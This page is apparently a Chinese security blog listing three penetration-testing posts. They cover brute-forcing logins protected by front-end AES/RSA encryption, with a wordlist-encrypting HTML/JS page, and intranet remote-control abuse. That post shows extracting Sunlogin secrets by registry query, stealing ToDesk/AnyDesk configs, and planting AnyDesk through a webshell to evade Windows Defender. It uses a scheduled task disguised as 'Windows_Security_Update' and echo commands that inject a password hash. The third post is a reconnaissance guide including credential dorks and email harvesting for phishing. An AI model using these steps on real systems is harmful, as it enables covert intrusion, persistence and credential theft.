正确输出方式 此时可通过Python脚本对字典通过该加密方式进行加密后破解,如果验证不正确的话可以继续在前台页面中寻找加密的js代码通过加载js进行加密,本次实验我们继续在页面查找具体加密的js文件,找到包含CryptoJS的js文件如下 aes算法的js 编写脚本加密字典 编写一个html页面使用站点前台的js文件对字典文件进行加密,html代码如下: <!DOCTYPE html> <script src="core-min.js"></script> <script src="aes.js"></script> <script src="jquery-2.0.2.min.js"></script> <html lang="zh"> <head>   <meta charset="UTF-8" />   <title>EncryptionStr</title> </head> <body>   <div>     <input type="file" name="file" multiple="multiple" id="files" onchange="choosefile()" />     <div id="name"></div>     <textarea id="text" cols="100" rows="50"></textarea>   </div>   <script type="text/javascript">   var entryt = {     encrypt: function (str, key, iv) {         if (!key || !iv) {             key = "1234567890abcdefghijklmnopqrstuv";             iv = "1234567890abcdef";         }         var _key = CryptoJS.enc.Utf8.parse(key);         var _iv = CryptoJS.enc.Utf8.parse(iv);         var srcs = CryptoJS.enc.Utf8.parse(str);         var encrypted = CryptoJS.AES.encrypt(srcs, _key, {             iv: _iv,             mode: CryptoJS.mode.CBC,             padding: CryptoJS.pad.Pkcs7         });         return encrypted.ciphertext.toString();     }  }      function choosefile () {     var fileList = document.getElementById('files').files;     var nameStr = '';     for (var i = 0; i < fileList.length; i++) {         nameStr += `${i === 0 ? '' : ', '}${fileList[i].name}`;         var reader = new FileReader();         reader.readAsText(fileList[i], "UTF-8");         reader.onload = function (e) {             var content = e.target.result;    const arr = content.split("n");    for (var i=0;i<arr.length;i++)    {     //document.getElementById('text').value=document.getElementById('text').value+arr[i]+"n"; //加密前     document.getElementById('text').value=document.getElementById('text').value+entryt.encrypt(arr[i])+"n"; //加密后    }          }     }     document.getElementById('name').append(nameStr);   }   </script> </body>   </html> 加密用户名字典效果如下: 使用加密后的字典对用户名进行猜解 实例2 遇到如下登录页面,点击登录的时候也存在滑块验证码,但经过测试该数据包仍可重放。 同样,查看页面源码页面发现存在登录按钮事件 继续查找登录按钮事件找到滑块验证结束后会调用this.onSuccess()函数 this.onSuccess()函数如下,可以看到在对密码加密过程中调用了rsaEncrypt函数 通过引用文件找到rsaEncrypt在./secret.js 文件中定义 最终找到RES加密算法的公钥和私钥,可通过编写脚本使用该公钥对密码字典进行加密后爆破 工具提高生产力 「使用 BurpCrypto 插件」 通过上面的分析已经知道登录页面使用了AES加密,BurpCrypto 默认集成了AES加密模块, 先添加一个Processor Processor选择我们刚才添加的 最总效果 RAS算法配置 工具下载 扫描下方二维码进群下载     总结 前端小白,整体内容并不复杂,相对正常测试加入了一部分前端的内容,当我们遇到前端加密的时候可以通过找找加密算法进行进一步利用。  ...

    2023-06-25 172
  • 内网渗透|内网远程控制总结

    前言 在内网渗透过程中,会碰到远程控制soft或者其他,这里针对远程控制软件做如下总结。远程控制软件 向日葵篇 向日葵查看版本 向日葵(可以攻击) 针对向日葵的话其实如果有本地安装的话,是... 前言 在内网渗透过程中,会碰到远程控制soft或者其他,这里针对远程控制软件做如下总结。 远程控制软件 向日葵篇 向日葵查看版本 向日葵(可以攻击) 针对向日葵的话其实如果有本地安装的话,是有可能存在漏洞的。这里进行复现 向日葵个人版for Windows &lt;= 11.0.0.33 向日葵简约版 &lt;= V1.0.1.43315(2021.12) 测试客户端漏洞版本:11.0.0.33162 攻击过程: (1)tasklist 查看是否有sunlogin的进程(2)直接用golang的工具来进行攻击即可 https://github.com/Mr-xn/sunlogin_rce 向日葵(不可以攻击) 遇到不可以攻击的向日葵,我们也有几种渗透手法: (1)窃取配置文件来进行解密(低版本 版本号具体未知) 低版本的向日葵把密码和机器码加密写入到了配置文件中,我们可以把配置文件down到自己的机器上,然后进行重开向日葵即可。这里向日葵版本较低,就不进行测试 (2)在12.5.2之前的某些版本可以写到了注册表中,所以可以使用注册表来进行查询 reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo   reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo   向日葵默认配置文件路径:  安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini  便携版:C:\ProgramData\Oray\SunloginClient\config.ini  本机验证码参数:encry_pwd  本机识别码参数:fastcode(去掉开头字母)  sunlogincode:判断用户是否登录状态   在向日葵高于 12.5.3.* 的机器中已经没有办法获取secert了 todesk篇 常见渗透方式(偷配置,百试百灵) 这里还是和前面的向日葵一样,可以进行配置文件的窃取,这里的默认安装路径(C:Program FilesToDeskconfig.ini) 这里咱们可以攻击机安装todesk,然后读取到config.ini中的配置文件,然后和攻击机进行替换即可。这里我虚拟机假装是受害机,读取出来,然后攻击机把tempauthpassex进行替换。 本机下载todesk进行替换。 两个机器密码相同(进行替换的时候需要修改攻击机密码更新频率) anydesk anydesk的配置文件在 C:\Users\用户名\AppData\Roaming\AnyDesk   文件中 而通常这个时候我们有权限修改anydesk的配置文件,这里进行测试,起两个虚拟机,设定一个场景(攻击机拿到了webshell,受害机开着windows defender,如何去渗透拿到受害机权限) 攻击机 ip: 10.211.55.3 + 10.211.55.2 受害机 ip: 10.211.55.4(windows defender全开) 情景复现 这里拿到了受害机的webshell,是个普通权限,无法去关闭 这里可以看到有windows defender来运行,这里无法进行关闭windows defender 这里用powershell来执行远程命令下载anydesk到用户的目录中去,因为虚拟机只有C盘,所以我创建了一个目录来进行存放,在真实的渗透过程中,一般是有RWE的目录 这里用powershell来执行远程命令下载anydesk到用户的目录中去,因为虚拟机只有C盘,所以我创建了一个目录来进行存放,**在真实的渗透过程中,一般是有RWE的目录** 上传上去之后,先不去打开。转到攻击机进行操作 (1)这里先去给攻击机下载anydesk(如果下载过的小伙伴,要先清除) C:Users用户名AppDataRoamingAnyDesk中的配置,没有的就不用看这一步,清除结束后如下 (2)这里打开攻击机的anydesk,牢记我此处勾选的id,然后点击右上角的概述-->为自主访问设置密码-->设置一个密码(这里设置为Q16G666!!)--->之后点击应用,攻击机完全退出anydesk(小托盘也要退出),并且退出时不选择安装anydesk (3)攻击机完全退出anydesk(小托盘也要退出),这里还是到配置文件下 C:Users用户名AppDataRoamingAnyDesk,然后把文件复制下来。是我图中勾选的这四个。复制完成之后,攻击机将文件进行删除。 复制下来之后,给受害机的当前用户(拿到权限的用户)找到anydesk配置文件路径并且复制到其他(如果没有配置文件路径则进行创建配置文件路径),一定要注意这里攻击机复制完之后,一定要将攻击机中的配置文件进行删除 (4)重新打开攻击机,生成配置文件,启动受害机的anydesk。 (5)用攻击机进行连接,这里连接的id就是(2)中截图的id,密码就是(2)中设置的密码即可成功无感绕过windows defender 情景复现2 (计划任务) (1)确定用户创建计划任务 如果命令行不能去执行,则可以去创建计划任务去执行,例如,必须先确定当前用户,在当前用户的目录下执行anydesk, powershell "(((Get-WmiObject -Class Win32_Process -Filter 'Name=\"explorer.exe\"').GetOwner().user) -split '\n')[0] schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:\Users\testuser.G1TS\Desktop\anydesk.exe" /RU 用户名 执行计划任务 schtasks /run /tn Windows_Security_Update 后续步骤和上面相同   然后添加密码到配置文件中去即可。 echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c &gt;&gt; C:Users用户目录AppDataRoamingAnyDeskservice.conf echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a &gt;&gt; C:Users用户目录AppDataRoamingAnyDeskservice.conf 然后查看用户的id type C:Users用户名AppDataRoamingAnyDesksystem.conf 连接即可 优点: 整个过程都不需要进行UAC弹窗,真正实现了无感绕过 缺点: (1)会弹出anydesk的界面,导致一些问题 (2)启动anydesk的权限需要桌面用户权限,比如,IIS做了中间件环境,拿到的webshell一般都是没有桌面用户权限,如果启动anydesk是不会成功的。 gotohttp gotohttp在我的渗透测试过程中,是一个常见的方式,给我的感觉,即用即连,浏览器连接,方便快捷。但是缺点就是权限划分明确,普通用户权限起的gotohttp无法进行管理员权限操作,比如关闭windows defender和其他一些行为,不过在规避杀软这儿也有奇效。 复现过程 普通用户上去之后只能用普通用户权限(这里下载对应的gotohttp https://gotohttp.com/),上传上去,命令行运行他,直接在当前目录下生成配置文件,读取配置文件,即可成功连接 因为是普通用户启动的,这里如果尝试关闭windows defender,是无法进行点击的。 ...

    2023-06-25 189
  • 渗透测试之信息收集

    一.搜索引擎 由于传统的信息收集方法如端口扫描、目录扫描等会在服务器上留下大量的日志痕迹,在某些情况下还可能被安全设备拦截,因此能否在不惊动目标服务器的情况下,对目标网站收集尽可能多的信息呢?GoogleHacking,也叫Google Dorking,是一种利用谷歌搜索和其他搜索引擎来发现网站配置和计算机代码中的安全漏洞的计算机黑客技术。 搜索引擎可以完成端口扫描,目录扫描,C段,旁站等信息收集,所以将搜索引擎放在第一个来讲 1.Google hacking site:限制搜索范围为某一网站,例如:site:baidu.com "admin" 可以搜索 baidu.com 网站上包含关键词“admin”的页面。 inurl:限制关键字出现在网址的某个部分,例如:inurl:php?id= 可以搜索网址中包含 php?id=的页面。   intitle:限制关键字出现在页面标题中,例如:intitle:index of / 定位网站目录索引页面。   filetype:限制搜索特定文件类型,例如:filetype:pdf   site:example.com 可以搜索 example.com 网站上的 pdf 文件。   cache:查看 Google 对某个页面的快照,例如:cache:example.com 查看   Google 对 example.com 的快照。   案例语句 1.查找暴露在互联网的后台资产 intile:后台登录 inurl:login|admin|manage|member|admin_login|login_admin|s ystem|login|user|main|cms 2.搜索xxx.com的子域名信息 site:xiusafe.com 3.搜索互联网上的登录入口 intitle:登录 site:baidu.com intitle:登录 site:baidu.com -zhidao.baidu.com -baike. baidu.com -jingyan.baidu.com 4.查找互联网敏感文件 filetype:mdb|doc|xlsx|pdf 密码 filetype:xls 5.sql注入 inurl:php?id= site:tw 更多资料 https://ght.se7ensec.cn/# https://github.com/K0rz3n/GoogleHacking-Page   2.物联网搜索引擎 1).Shodan Shodan是一个知名的物联网搜索引擎,我们可以利用Shodan搜索和互联网关联的服务器、摄像头、打印机、路由器等设备。下表展示了Shodan关键词及说明。 实用案例演示 1.查找位于中国(.cn)的Nginx服务器: nginx country:cn 2.搜索位于南京的开放3389端口的服务器: port:3389 city:Nanjing 3.搜索位于中国南京且暴露在互联网上的海康威视摄像头: Hikvision-Webs country:cn city:Nanjing 4.查看全球的Cisco思科设备情况: isp:cisco 5.查看全球的华为设备情况: isp:huawei 2).ZoomEye ye中文名为“钟馗之眼”,它定位于网络空间搜索引擎,能对暴露在公网的主机设备及网站组件进行全方位搜索(只要有IP地址即可搜索到),发现其中的漏洞。ZoomEye和Shodan的区别是,ZoomEye目前侧重于Web层面的资产发现,而Shodan则侧重于主机层面的资产发现。 关键词 组件名称: app:组件名 ver:组件版本 端口: port:开放端口 操作系统: os:操作系统 服务: service:分析结果中的“服务名”字段 主机名: hostname:分析结果中的“主机名”字段 位置: country:国家或者地区代码 city:城市名称 IP地址: ip:搜索一个指定的IP地址 网站: site:网站域名 标题: title:页面标题 关键词: keywords:<meta name="Keywords"> 定义的页面关键词 描述: desc:<meta name="description"> 定义的页面说明 HTTP头: headers:HTTP 请求中的 Headers 3).FOFA FOFA是白帽汇公司推出的一款网络空间资产搜索引擎。它能够帮助企业客户迅速进行网络资产匹配、加快后续工作进程。例如,进行漏洞影响范围分析、应用分布统计、应用流行度排名统计等操作。 基本查询语法 我们直接输入查询语句,从标题、HTML内容、HTTP头信息、URL字段中进行搜索: title="abc" 从标题中搜索abc header="abc" 从HTTP头中搜索abc body="abc" 从HTML正文中搜索abc domain="qq.com" 搜索根域名带有qq.com的网站 host=".gov.cn" 从URL中搜索.gov.cn port="443" 查找对应443端口的资产 ip="1.1.1.1" 搜索IP地址的信息 protocol="https" 搜索制定 协议类型(在开启端口扫描的情况下有效) city="Beijing" 搜索指定城市的资产 region="Zhejiang" 搜索指定行政区的资产 country="CN" 搜索指定国家(编码)的资产 cert="google" 搜索证书(https或者imaps等)中带有google的资产banner=users && protocol=ftp 搜索FTP协议中带有users文本的资产type=service 搜索所有协议资产,支持subdomain和service两种 os=windows 搜索Windows资产 server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器 app="海康威视-视频监控" 搜索海康威视设备 after="2017" && before="2017-10-01" 时间范围段搜索org="Amazon.com, Inc." 搜索指定org(组织)的资产 base_protocol="udp" 搜索指定udp协议的资 二.域名信息收集 1.whois查询 域名的 whois 信息可以提供以下作用: 确认域名的所有者、注册商、注册日期和到期日期等基本信息。 了解域名的注册历史,对于判断一个域名的可信度和信誉程度有很大帮助。 判断一个域名是否正在被使用及其使用方式,是否涉及到滥用、欺诈等问题。 可以通过 whois 信息获得自己的域名信息,及时检查域名是否即将到期,避免域名失效带来的影响 站长之家 https://whois.chinaz.com/ viewdns https://viewdns.info/ 2.备案信息查询 只要使用国内的服务器搭建网站都必须进行网站备案才可以进行正常访问,这是我国的一项管理要求,主要是为了防止不法分子在网上从事非法的宣传或经营活动,打击不良互联网信息的传播。所以针对搭建在国内的网站也可以进行备案信息查询。 备案信息 资产收集 ● 站长之家 https://icp.chinaz.com   ● 天眼查 https://www.tianyancha.com/   ● 企查查   ● 爱企查   ● ICP 备案查询网 http://www.beianbeian.com/   ● 爱站备案查询 https://icp.aizhan.com/   ● 域名助手备案信息查询 http://cha.fute.com/inde   3.子域名信息收集 一般在渗透测试前会先对目标的子域名资产进行收集,收集可以利用互联网上的第三方接口,也可以直接使用字典进行子域名“爆破”。 (1) 在线字典爆破工具 目前互联网上存在一些在线子域名爆破工具,使用起来也比较方便,唯一的缺点就是字典和爆破速度不够强大,用户不能自定义字典,不过优点是具有匿名性,可以防止被溯源。 (2)本地字典爆破工具 除了可以使用一些在线爆破工具,还可以使用一些本地的子域名爆破工具,部分工具可以灵活地加载本地的字典来进行爆破。比较常用的本地子域名爆破工具有:SubDomainsBrute、LayerDomainFinder子域名挖掘机 (3)API子域名查询接口 除了手动使用这些API接口来进行查询,也可以使用集成了API的工具来进行一键查询,比较有名的项目就是 OneForAll,这是一款功能强大的子域名收集工具,核心代码利用的是各种第三方的接口,所以在查询数量上比较有优势。 三. 服务器信息收集 随着网络的发展,很多网站都开始使用CDN,CDN分发网络将源站的内容发布到接近用户的网络“边缘”,用户可以就近获取所需数据,不仅降低了网络的拥塞状况、提高了请求的响应速度,也能够减少源站的负载压力。在加速网站访问的同时也让渗透测试人员难以获取真实的服务器IP地址,所以CDN的判断和绕过是服务器信息收集的第一步,只有绕过了CDN才可以拿到服务器的真实IP信息。 域名—>IP 1.CDN判断方法 ping命令 直接使用 ping 命令有时候也可以查询到目标网站是否使用了CDN。 有时,可以直接看到waf、cdn等字样的域名,这就表示目标服务器使用了CDN。不过有很多厂商可能只让www主站域名使用CDN,空域名或者子域名并没有使用CDN缓存,所以这种情况下直接使用ping xxx.com 就有可能得到真实的IP地址。 2.nslookup查询 不仅可以使用 ping 命令来对目标网站进行CDN判断,也可以使用nslookup命令查询域名的解析情况,如果一个域名解析结果为多个IP地址,那么多半使用了CDN 。 2.绕过CDN找到真实IP的8种方法 正常情况下,通过cmd命令可以快速找到域名对应IP,最常见的命令如ping、nslookup。但很多站点出于用户体验和安全的角度,使用CDN加速,将域名解析到CDN,这时候就需要绕过CDN来查找真实IP。 一、DNS历史解析记录 查询域名的历史解析记录,可能会找到网站使用CDN前的解析记录,从而获取真实ip,相关查询的网站有: iphistory:https://viewdns.info/iphistory/ DNS查询:(https://dnsdb.io/zh-cn/) 微步在线:(https://x.threatbook.cn/) 域名查询:(https://site.ip138.com/) DNS历史查询:(https://securitytrails.com/) Netcraft:https://sitereport.netcraft.com/?url=github.com IP History 查询记录: 二、查找子域名 很多时候,一些重要的站点会做CDN,而一些子域名站点并没有加入CDN,而且跟主站在同一个C段内,这时候,就可以通过查找子域名来查找网站的真实IP。 常用的子域名查找方法和工具: 1、搜索引擎查询:如Google、baidu、Bing等传统搜索引擎,site:http://baidu.cominurl:http://baidu.com,搜target.com|公司名字。 2、一些在线查询工具,如: http://tool.chinaz.com/subdomain/ http://i.links.cn/subdomain/     http://subdomain.chaxun.la/ http://searchdns.netcraft.com/ https://www.virustotal.com/ 3、 子域名暴力猜解 子域名暴力工具: Layer子域名挖掘机 wydomain:https://github.com/ring04h/wydomain     subDomainsBrute:https://github.com/lijiejie/ Sublist3r:https://github.com/aboul3la/Sublist3r 三、网站邮件头信息 比如说,邮箱注册,邮箱找回密码、RSS邮件订阅等功能场景,通过网站给自己发送邮件,从而让目标主动暴露他们的真实的IP,查看邮件头信息,获取到网站的真实IP。 四、网络空间安全引擎搜索 通过关键字或网站域名,就可以找出被收录的IP,很多时候获取到的就是网站的真实IP。 1、钟馗之眼:https://www.zoomeye.org 2、Shodan:https://www.shodan.io 3、Fofa:https://fofa.so ZoomEy搜索: 五、利用SSL证书寻找真实IP 证书颁发机构(CA)必须将他们发布的每个SSL/TLS证书发布到公共日志中,SSL/TLS证书通常包含域名、子域名和电子邮件地址。因此SSL/TLS证书成为了攻击者的切入点。 SSL证书搜索引擎: https://censys.io/ipv4?q=github.com 六、国外主机解析域名 大部分 CDN 厂商因为各种原因只做了国内的线路,而针对国外的线路可能几乎没有,此时我们使用国外的DNS查询,很可能获取到真实IP。 国外多PING测试工具: https://asm.ca.com/zh_cn/ping.php http://host-tracker.com/ http://www.webpagetest.org/ https://dnscheck.pingdom.com/ 国外多ping网站测试: 七、扫描全网 通过Zmap、masscan等工具对整个互联网发起扫描,针对扫描结果进行关键字查找,获取网站真实IP。 1、ZMap号称是最快的互联网扫描工具,能够在45分钟扫遍全网。 https://github.com/zmap/zmap 2、Masscan号称是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网。 https://github.com/robertdavidgraham/masscan 八、配置不当导致绕过 在配置CDN的时候,需要指定域名、端口等信息,有时候小小的配置细节就容易导致CDN防护被绕过。 案例1:为了方便用户访问,我们常常将www.test.com和test.com解析到同一个站点,而CDN只配置了www.test.com,通过访问test.com,就可以绕过 CDN 了。 案例2:站点同时支持http和https访问,CDN只配置 https协议,那么这时访问http就可以轻易绕过。 3.端口信息探测 端口信息探测是指对目标服务器资产进行开放端口号的穷举扫描,以了解某台计算机的弱点,并了解其提供的计算机网络服务类型。一般在渗透测试中常使用Nmap工具对目标网站进行端口扫描,Nmap的英文全称是“Network Mapper”,中文翻译过来就是“网络映射器”。Nmap是一款开源的端口扫描神器,它可以快速地扫描大型网络,也可以扫描单个主机。 1)渗透测试中的常见端口 端口如同一个房间的门,这个房间有多少个门呢?有65536个之多,也就是说端口的取值范围是0~65535个。本地操作系统会给那些有需求的进程分配协议端口,每个协议端口均有一个正整数标识,如80、139、445等,一般在渗透测试中,我们需要关注如表3-3所示的常见端口及协议。 这些端口可能存在对应的漏洞,这样就可以通过端口入侵到目标服务器中。 2)Nmap简单扫描 -sS:进行 TCP SYN(半开放式)扫描。这是一种常用的扫描方式,通过发送 TCP SYN包,判断目标主机的端口是否开放。 -sT:进行 TCP 连接扫描。这种扫描方式也是基于 TCP,通过建立 TCP 连接,判断目标主机的端口是否开放。 -sU:进行 UDP 扫描。UDP 是一种无连接的协议,因此不能像 TCP 一样建立连接来确定目标主机的端口是否开放。这种扫描方式需要发送 UDP 数据包,通过响应的数据包 判断端口是否开放。 -O:进行操作系统信息探测。通过使用不同的特征扫描目标主机,判断其使用的操作 系统。 -p:指定端口扫描范围。可以指定端口范围、单个端口或多个离散的端口。 -A:激活“操作系统指纹识别”、“版本检测”、“脚本扫描”等高级扫描选项。 -sV:进行服务版本检测。这种扫描方式可以探测出目标主机运行的具体服务以及其版 本号。 -T:设置扫描速度。可以设置不同的速度等级,以适应不同的扫描环境。速度级别从 0 到 5,级别越高,扫描速度越快,但也越容易被防火墙拦截 从扫描结果可以看出192.168.239.135目标服务器开放着21、23、135、445、3389、49152等端口,在Nmap进行端口扫描的时候,其会把扫描到的端口信息反馈回来,我们从反馈回来的信息就可以判断目标端口情况,具体状态含义可以参考下表返回状态及说明所示 3) Zenmap使用 4)脚本使用 如果没有Nmap工具,也可以使用最原始的脚本发起Ping请求。 4.操作系统类型探测 1)使用TTL值进行系统探测 不同的操作系统默认的TTL(Time To Live)值是不同的,因此通过Ping命令返回的TTL值加上 traceroute 获得的跳转节点数就能算出目标节点设置的TTL数,从而推测出目标节点的操作系统类型。比如,我们要探测10.20.24.244的操作系统类型,具体可以参照如下步骤进行操作。操作系统类型探测如下图所示 从中可以看到,从本地到目标主机一共经过了1-1=0跳,然后尝试直接Ping这个IP地址,测试目标主机连通性如图所示 Ping 返回的TTL为64,最后加上之前的0跳,所以目标主机的最终TTL值为:64+0=64,这表明目标主机是一台Linux操作系统的主机。操作系统和TTL对应关系如表所示 2) 使用Nmap进行系统探测 Nmap不仅是一款端口扫描工具,还可以对主机的服务及版本进行识别和探测。使用-O参数即可启用操作系统类型检测。Nmap操作系统类型探测如图所示 3)搜索引擎 四.Web信息收集 1.Web指纹识别 指纹识别是指网站CMS(Content Management System)内容管理系统的探测、计算机操作系统及Web 容器的指纹识别等。应用程序一般在HTML、JS、CSS等文件中包含一些特征码,这些特征码就是所谓的指纹。当碰到其他网站也存在此特征时,就可以快速识别出该程序,所以叫作指纹识别。 1) 文件内容匹配 WordPress是全球比较流行的一个WebCMS,它是由PHP语言编写的,在WordPress搭建的网站中就可以找到WordPress相关的字样信息。WordPress指纹如图所示(F12键)。 2)第三方插件 Firefox 插件 Wappalyzer 3)在线网站 CMS 漏洞 https://github.com/s7ckTeam/Glass https://github.com/EdgeSecurityTeam/EHole   定位版本对应已知漏洞检查   CMS 未知漏洞挖掘   显示网站使用的技术   https://whatcms.org/   https://builtwith.com/   2.敏感目录扫描 渗透测试中常常会对目标网站进行目录扫描,通过穷举字典的方法对目标进行目录探测,一些安全性脆弱的网站往往会被扫描出如管理员后台、网站备份文件、文件上传页面或者其他重要的文件信息,攻击者可以直接将这些敏感信息下载到本地来进行查看。 网站的三种部署模式 1.主域名与子域名的方式 a.com 1.a.com 2.目录 a.com a.com/admin/ 3.端口 a.com a.com:8080 所以对Web目录进行探测在渗透测试中是非常重要的一步,这有助于让我们对资产进行更深入的了解。渗透测试中对目标网站进行目录扫描的方法有很多,不过原理无外乎就是字典穷举,与其找一个好用的扫描工具,不如把重点放在如何构建自己的目录字典上。 Web目录扫描工具较多,列举下述几个 1)Dirsearch Dirsearch是一个使用Python编写的Web目录扫描工具,其自带的字典也比较强大,字典数目有6000多个,Dirsearch扫描的效率也很高,虽然字典的数量庞大,但是扫描完一个站点往往连一分钟都不到,下图就是使用Dirsearch来扫描靶机的效果。 2)御剑 3)gobuster 3.旁站信息收集 旁站指的是目标域名IP下的其他网站信息,可以使用一些在线工具来进行旁站查询。 1)爱站IP反查域名( https://icp.aizhan.com/) 2)站长之家(https://icp.chinaz.com) 3)FOFA ip="121.196.37.183" && type="subdomain" 4.C段信息收集 C段信息收集指的是探测目标服务器局域网段下的其他资产信息,在早期主机运营商防护不够的时候,往往拿下C段的资产就可以对C段下的其他资产进行ARP嗅探劫持。 1).FOFA ip="121.196.37.1/24" && type="subdomain 2)工具-webfinder 五.其他信息收集 1.GitHub信息收集 我们可以使用前面学到的谷歌搜索语法来查找GitHub上面的敏感信息,如: password @163.com site:github.com 但是这样搜索的结果并不是很全面,所以最好的方式是使用GitHub自带的搜索,在左上角输入框内填写关键词,然后切换到如图所示的GitHub信息收集页面。 常见搜索的关键词如下: Linux密码 mysql数据库 password smtp password mysql password ssh password dbpass dbname 关键词这一块很灵活,读者朋友们可以根据自己的实际需求来自由发挥。 2.邮箱信息收集 在渗透测试过程中,收集邮箱也是不可缺少的一步,黑客收集邮箱后可以方便对这些邮箱进行定向“钓鱼”攻击。除了使用钓鱼攻击,还可以使用收集到的邮箱来爆破邮箱系统或者其他的登录系统。那么如何来收集互联网上的邮箱信息呢?最简单的方法就是直接使用搜索引擎来搜索,可以使用如下关键词查找到互联网上的邮箱信息: mail @xxxx.com 可供选择的搜索引擎有很多,百度、搜狗、谷歌、必应、雅虎、领英等都是不错的搜索邮箱的工具,当然也有一些小工具集成了这些功能,如7kbscan编写的EmailSniper邮箱据介绍就是一个不错的工具。EmailSniper执行样例如图所示。 3.社交 QQ、weibo、支付宝、脉脉、咸鱼、短视频、人人、贴吧、论坛 外网信息,推特、ins、fb 等 4.注册过的网站 https://www.reg007.com/ 5.默认密码 https://default-password.info/ http://routerpasswords.com 6.网页缓存 http://www.cachedpages.com/ 7.邮箱钓鱼 Email http://24mail.chacuo.net/enus  ...

    2023-06-25 139

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注